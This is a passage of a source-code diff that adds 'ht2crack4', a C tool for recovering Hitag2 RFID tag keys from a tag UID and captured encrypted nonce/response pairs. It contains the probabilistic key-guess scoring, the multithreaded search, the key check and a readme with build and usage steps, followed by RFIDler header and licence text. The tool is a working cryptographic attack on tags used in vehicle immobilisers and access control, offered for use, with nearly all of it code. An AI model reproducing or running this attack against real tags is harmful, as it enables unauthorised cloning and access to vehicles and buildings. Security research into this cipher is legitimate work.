= NULL; + + fprintf(stderr, "Loaded %d nRaR pairs\n", num_nRaR); + + // set key and copy in enc_nR and ks values + // set score to -1.0 to distinguish them from 0 scores + for (i=0; i<65536; i++) { + guesses[i].key = i; + guesses[i].score = -1.0; + for (j=0; j> (packed & 0xf)) & 1; + fncinput |= ((ht2_function4b << 1) >> ((packed >> 4) & 0xf)) & 0x02; + fncinput |= ((ht2_function4b << 2) >> ((packed >> 8) & 0xf)) & 0x04; + fncinput |= ((ht2_function4b << 3) >> ((packed >> 12) & 0xf)) & 0x08; + fncinput |= ((ht2_function4a << 4) >> ((packed >> 16) & 0xf)) & 0x10; + + // mask to keep the full nibble bits + fncinput = fncinput & ((1l << (n / 4)) - 1); + + if ((n % 4) == 0) { + // only complete nibbles + prob = pfnc[(n / 4) - 1][fncinput]; + } else { + // one nibble is incomplete + if (n <= 16) { + // it's in the fnb area + nibprob1 = pfnb[(n % 4) - 1][packed >> ((n / 4) * 4)]; + nibprob0 = 1.0 - nibprob1; + prob = (nibprob0 * pfnc[n / 4][fncinput]) + (nibprob1 * pfnc[n / 4][fncinput | (1l << (n / 4))]); + } else { + // it's in the final fna + nibprob1 = pfna[(n % 4) - 1][packed >> 16]; + nibprob0 = 1.0 - nibprob1; + prob = (nibprob0 * ((ht2_function5c >> fncinput) & 0x1)) + (nibprob1 * ((ht2_function5c >> (fncinput | 0x10)) & 0x1)); + } + } + } else { + // n==20 + prob = f20(packed); + } + + if (b1) { + return prob; + } else { + return (1.0 - prob); + } +} + + +/* score is like bit_score but does multiple bit correlation. + * bit_score and then shift and then repeat, adding all + * bit_scores together until no bits remain. bit_scores are + * multiplied by the number of relevant bits in the scored state + * to give weight to more complete states. */ +double score(uint64_t s, unsigned int size, uint64_t ks, unsigned int kssize) +{ + double sc, sc2; + + if ((size == 1) || (kssize == 1)) { + sc = bit_score(s, size, ks & 0x1); + return (sc * (packed_size[size] + 1)); + } else { + // I've introduced a weighting for each score to + // give more significance to bigger windows. + + sc = bit_score(s, size, ks & 0x1); + + // if a bit_score returns a probability of 0 then this can't be a winner + if (sc == 0.0) { + return 0.0; + } else { + + sc2 = score(s >> 1, size - 1, ks >> 1, kssize - 1); + + // if score returns a probability of 0 then this can't be a winner + if (sc2 == 0.0) { + return 0.0; + } else { + return (sc * (packed_size[size] + 1)) + sc2; + } + } + } +} + + +/* score_traces runs score for each encrypted nonce */ +void score_traces(struct guess *g, unsigned int size) +{ + uint64_t lfsr; + unsigned int i; + double sc; + double total_score = 0.0; + + // don't bother scoring traces that are already losers + if (g->score == 0.0) { + return; + } + + for (i=0; i> (size - 16)) | ((g->key << (48 - size)) ^ + ((nonces[i].enc_nR ^ g->b0to31[i]) << (64 - size))); + g->b0to31[i] = g->b0to31[i] | (ht2crypt(lfsr) << (size - 16)); + + // create lfsr - lower 16 bits are lower 16 bits of key + // bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream + lfsr = g->key ^ ((nonces[i].enc_nR ^ g->b0to31[i]) << 16); + + sc = score(lfsr, size, nonces[i].ks, 32); + + // look out for losers + if (sc == 0.0) { + g->score = 0.0; + return; + } + total_score = total_score + sc; + } + + // save average score + g->score = total_score / num_nRaR; + +} + + +/* score_all_traces runs score_traces for every key guess in the table */ +/* this was used in the non-threaded version */ +/* +void score_all_traces(unsigned int size) +{ + unsigned int i; + + for (i=0; istart; iend; i++) { + score_traces(&(guesses[i]), tdata->size); + } + + return NULL; +} + + +/* score_all_traces runs score_traces for every key guess in the table */ +void score_all_traces(unsigned int size) +{ + pthread_t threads[NUM_THREADS]; + void *status; + struct thread_data tdata[NUM_THREADS]; + unsigned int i; + unsigned int chunk_size; + + chunk_size = num_guesses / NUM_THREADS; + + // create thread data + for (i=0; iscore < b1->score) { + return 1; + } else if (a1->score > b1->score) { + return -1; + } else { + return 0; + } +} + + +/* expand all guesses in first half of (sorted) table by + * copying them into the second half and extending the copied + * ones with an extra 1, leaving the first half with an extra 0 */ +void expand_guesses(unsigned int halfsize, unsigned int size) +{ + unsigned int i, j; + + for (i=0; i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + fprintf(stderr, " guess=%012" PRIx64 ", num_guesses = %d, top score=%1.10f, min score=%1.10f\n", foundkey, num_guesses, guesses[0].score, guesses[num_guesses - 1].score); + } +} + + +/* test function to make sure I know how the LFSR works */ +void testkey(uint64_t key) +{ + uint64_t i; + uint64_t b0to31 = 0; + uint64_t ks = 0; + uint64_t lfsr; + uint64_t nRxorkey; + Hitag_State hstate; + + printf("ORIG REFERENCE\n"); + hitag2_init(&hstate, key, uid, nonces[0].enc_nR); + printf("after init with key, uid, nR:\n"); + printstate(&hstate); + b0to31 = 0; + for (i=0; i<32; i++) { + b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31); + } + printf("ks = 0x%08" PRIx64 ", enc_aR = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 "\n", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31); + printstate(&hstate); + + printf("\n"); + + + printf("MY REFERENCE\n"); + // build initial lfsr + lfsr = uid | ((key & 0xffff) << 32); + b0to31 = 0; + // xor upper part of key with encrypted nonce + nRxorkey = nonces[0].enc_nR ^ (key >> 16); + // insert keyupper xor encrypted nonce xor ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + printf("after init with key, uid, nR:\n"); + printf("lfsr =\t\t"); + printbin2(lfsr, 48); + printf("\n"); + + // iterate lfsr with fnL, extracting ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + ks = (ks >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | (fnL(lfsr) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + printf("ks = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 ", ks(orig) = 0x%08" PRIx64 ", aR(orig) = %08" PRIx64 "\n", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff); + printf("lfsr = \t\t"); + printbin2(lfsr, 48); + printf("\n\n"); +} + + +/* test function to generate test data */ +void gen_bitstreams_testks(struct guess *g, uint64_t key) +{ + unsigned int i, j; + uint64_t nRxorkey, lfsr, ks; + + for (j=0; jb0to31[j] = 0; + // xor upper part of key with encrypted nonce + nRxorkey = nonces[j].enc_nR ^ (key >> 16); + // insert keyupper xor encrypted nonce xor ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + g->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + ks = 0; + // iterate lfsr with fnL, extracting ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + ks = (ks >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | (fnL(lfsr) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + printf("orig ks = 0x%08" PRIx64 ", gen ks = 0x%08" PRIx64 ", b0to31 = 0x%08" PRIx64 "\n", nonces[j].ks, ks, g->b0to31[j]); + if (nonces[j].ks != ks) { + printf(" FAIL!\n"); + } + } +} + + +/* test function */ +void test() +{ + uint64_t lfsr; + uint64_t packed; + + uint64_t i; + + + for (i=0; i<1000; i++) { + lfsr = ((uint64_t)rand() << 32) | rand(); + packed = packstate(lfsr); + + if (hitag2_crypt(lfsr) != f20(packed)) { + printf(" * * * FAIL: %3" PRIu64 ": 0x%012" PRIx64 " = %d, 0x%012" PRIx64 " = 0x%05" PRIx64 "\n", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed)); + } + } + + printf("test done\n"); +} + + +/* check_key tests the potential key against an encrypted nonce, ks pair */ +int check_key(uint64_t key, uint64_t enc_nR, uint64_t ks) +{ + Hitag_State hstate; + uint64_t bits; + int i; + + hitag2_init(&hstate, key, uid, enc_nR); + bits = 0; + for (i=0; i<32; i++) { + bits = (bits >> 1) | (hitag2_nstep(&hstate, 1) << 31); + } + if (ks == bits) { + return 1; + } else { + return 0; + } +} + + +/* start up */ +int main(int argc, char *argv[]) +{ + unsigned int i; + uint64_t revkey; + uint64_t foundkey; + int tot_nRaR = 0; + char c; + char *uidstr = NULL; + char *noncefilestr = NULL; + +// test(); +// exit(0); + + while ((c = getopt(argc, argv, "u:n:N:t:T:h")) != -1) { + switch(c) { + case 'u': + uidstr = optarg; + break; + case 'n': + noncefilestr = optarg; + break; + case 'N': + tot_nRaR = atoi(optarg); + break; + case 't': + maxtablesize = atoi(optarg); + break; + case 'T': + supplied_testkey = rev64(hexreversetoulonglong(optarg)); + break; + case 'h': + usage(); + break; + default: + usage(); + } + } + + if (!uidstr || !noncefilestr || (maxtablesize <= 0)) { + usage(); + } + + create_guess_table(); + + init_guess_table(noncefilestr, uidstr); + + if ((tot_nRaR > 0) && (tot_nRaR <= num_nRaR)) { + num_nRaR = tot_nRaR; + } + fprintf(stderr, "Using %d nRaR pairs\n", num_nRaR); + + crack(); + + // test all key guesses and stop if one works + for (i=0; i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + printf("key = %012" PRIX64 "\n", foundkey); + exit(0); + } + } + + printf("FAIL :( - none of the potential keys in the table are correct.\n"); + exit(1); + return 0; +} + + + diff --git a/tools/hitag2crack/crack4/readme.md b/tools/hitag2crack/crack4/readme.md new file mode 100644 index 000000000..a906700b1 --- /dev/null +++ b/tools/hitag2crack/crack4/readme.md @@ -0,0 +1,29 @@ +ht2crack4 + + + +Build +----- + +make clean +make + + +Run +--- + +You'll need a file consisting of 16 (or more) nR aR pairs. These are the +encrypted nonces and challenge response values. They should be in hex with +one pair per line, e.g.: +0x12345678 0x9abcdef0 + +./ht2crack4 -u UID -n NRARFILE [-N nonces to use] [-t table size] + +UID is the UID of the tag that you used to gather the nR aR values. +NRARFILE is the file containing the nR aR values. +The number of nonces to use allows you to use less than 32 nonces to increase +speed. +The table size can be tweaked for speed. Start with 500000 and double it each +time it fails to find the key. + + diff --git a/tools/hitag2crack/crack4/rfidler.h b/tools/hitag2crack/crack4/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack4/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack4/util.h b/tools/hitag2crack/crack4/util.h new file mode 100644 index 000000000..c2399c37c --- /dev/null +++ b/tools/hitag2crack/crack4/util.h @@ -0,0 +1,147 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your 